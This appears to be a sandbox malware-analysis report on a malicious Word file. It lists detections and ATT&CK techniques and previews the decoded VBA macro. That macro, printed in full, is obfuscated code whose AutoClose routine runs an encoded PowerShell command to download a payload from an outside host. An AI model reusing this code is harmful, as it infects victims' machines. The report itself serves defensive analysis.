MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains a VBA macro with an AutoClose function, indicating it is designed to execute automatically when the document is opened. The macro constructs and executes a PowerShell command, likely to download and run a second-stage payload. The ClamAV detection further confirms its malicious nature.
Heuristics 5
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ClamAV: Doc.Malware.Sagent-6697295-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Sagent-6697295-0
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 52956 bytes |
SHA-256: 8574c2a2c018e130b4b175d97a034cbe6b5db49318dc558ae60a89fe17354b41 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Const ziceFupirYSyVaLeLAqABILnASODifikeHFEvOWUji = 0 Sub AutoClose() On Error Resume Next sEvOjsOhIZYRuwZiAVyWOjUQeWI = "d." + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "x" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + " /c p^O^w^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^R^s^H^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^L^L^.^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^x^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^p^A^H^c^A^b^w^B^x^A^G^k^A^d^w^B^1^A^H^E^A^b^w^B^l^A^H^U^A^b^w^B^3^A^G^U^A^a^Q^A^u^A^G^M^A^b^w^B^t^A^C^8^A^V^g^B^S^A^E^U^A^L^w^B^r^A^G^8^A^d^A^B^u^A^G^U^A^c^g^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G" Dim WxiiigaJYbobERoMirImaqeQyRuCYdODIw(4) If 12 = 12 + (5 * 0) Then WxiiigaJYbobERoMirImaqeQyRuCYdODIw(0) = CLng(6672) End If WxiiigaJYbobERoMirImaqeQyRuCYdODIw(1) = Sqr(5) WxiiigaJYbobERoMirImaqeQyRuCYdODIw(2) = Month(66726672) WxiiigaJYbobERoMirImaqeQyRuCYdODIw(3) = Fix(6672.5) Dim TocyZEdEkmoJaWONIKYKuKYfECOFUiu(4) If 11 = 11 + (10 * 0) Then TocyZEdEkmoJaWONIKYKuKYfECOFUiu(0) = CLng(721) End If TocyZEdEkmoJaWONIKYKuKYfECOFUiu(1) = Sqr(10) TocyZEdEkmoJaWONIKYKuKYfECOFUiu(2) = Month(721721) TocyZEdEkmoJaWONIKYKuKYfECOFUiu(3) = Fix(721.1) Dim LoReMEwOguRvkUMpAaIKyHYWiUlewUSEl(4) Dim iadEbUpywOHeWkuwyhuzEHUlUHIAJEGIHoM(4) If 12 = 12 + (3 * 0) Then iadEbUpywOHeWkuwyhuzEHUlUHIAJEGIHoM(0) = CLng(6191) End If iadEbUpywOHeWkuwyhuzEHUlUHIAJEGIHoM(1) = Sqr(3) iadEbUpywOHeWkuwyhuzEHUlUHIAJEGIHoM(2) = Month(61916191) iadEbUpywOHeWkuwyhuzEHUlUHIAJEGIHoM(3) = Fix(6191.3) Dim NYxApVUxODYFoKepAKWEJoXVopexVI(4) If 10 = 10 + (9 * 0) Then NYxApVUxODYFoKepAKWEJoXVopexVI(0) = CLng(1835) End If NYxApVUxODYFoKepAKWEJoXVopexVI(1) = Sqr(9) NYxApVUxODYFoKepAKWEJoXVopexVI(2) = Month(18351835) NYxApVUxODYFoKepAKWEJoXVopexVI(3) = Fix(1835.9) Dim gEBIhIMiMuXBENguyPISiNizuJAtitecIcADi(4) If 13 = 13 + (3 * 0) Then gEBIhIMiMuXBENguyPISiNizuJAtitecIcADi(0) = CLng(7314) End If gEBIhIMiMuXBENguyPISiNizuJAtitecIcADi(1) = Sqr(3) gEBIhIMiMuXBENguyPISiNizuJAtitecIcADi(2) = Month(73147314) gEBIhIMiMuXBENguyPISiNizuJAtitecIcADi(3) = Fix(7314.3) If 10 = 10 + (6 * 0) Then LoReMEwOguRvkUMpAaIKyHYWiUlewUSEl(0) = CLng(8575) Dim vEnYzezyDyZEjeEVORoMUgOmOCI(4) If 11 = 11 + (6 * 0) Then vEnYzezyDyZEjeEVORoMUgOmOCI(0) = CLng(7090) End If vEnYzezyDyZEjeEVORoMUgOmOCI(1) = Sqr(6) vEnYzezyDyZEjeEVORoMUgOmOCI(2) = Month(70907090) vEnYzezyDyZEjeEVORoMUgOmOCI(3) = Fix(7090.6) Dim gypACIbuSahWiceVALYKIWEd(4) If 12 = 12 + (10 * 0) Then gypACIbuSahWiceVALYKIWEd(0) = CLng(7480) End If gypACIbuSahWiceVALYKIWEd(1) = Sqr(10) gypACIbuSahWiceVALYKIWEd(2) = Month(74807480) gypACIbuSahWiceVALYKIWEd(3) = Fix(7480.1) End If LoReMEwOguRvkUMpAaIKyHYWiUlewUSEl(1) = Sqr(6) Dim zyWEhyFeniyqcObOzEXySIHodUCOPuCAxYc(4) If 10 = 10 + (10 * 0) Then zyWEhyFeniyqcObOzEXySIHodUCOPuCAxYc(0) = CLng(7938) End If zyWEhyFeniyqcObOzEXySIHodUCOPuCAxYc(1) = Sqr(10) zyWEhyFeniyqcObOzEXySIHodUCOPuCAxYc(2) = Month(79387938) zyWEhyFeniyqcObOzEXySIHodUCOPuCAxYc(3) = Fix(7938.1) Dim qYfakyaxevokaDUsTuDuXakuHeVoaU(4) If 13 = 13 + (9 * 0) Then qYfakyaxevokaDUsTuDuXakuHeVoaU(0) = CLng(9511) End If qYfakyaxevokaDUsTuDuXakuHeVoaU(1) = Sqr(9) qYfakyaxevokaDUsTuDuXakuHeVoaU(2) = Month(95119511) qYfakyaxevokaDUsTuDuXakuHeVoaU(3) = Fix(9511.9) LoReMEwOguRvkUMpAaIKyHYWiUlewUSEl(2) = Month(85758575) LoReMEwOguRvkUMpAaIKyHYWiUlewUSEl(3) = Fix(8575.6) Dim gaXHaZekOUqfuCevFybYfeXo(4) If 11 = 11 + (4 * 0) Then gaXHaZekOUqfuCevFybYfeXo(0 ... (truncated) |
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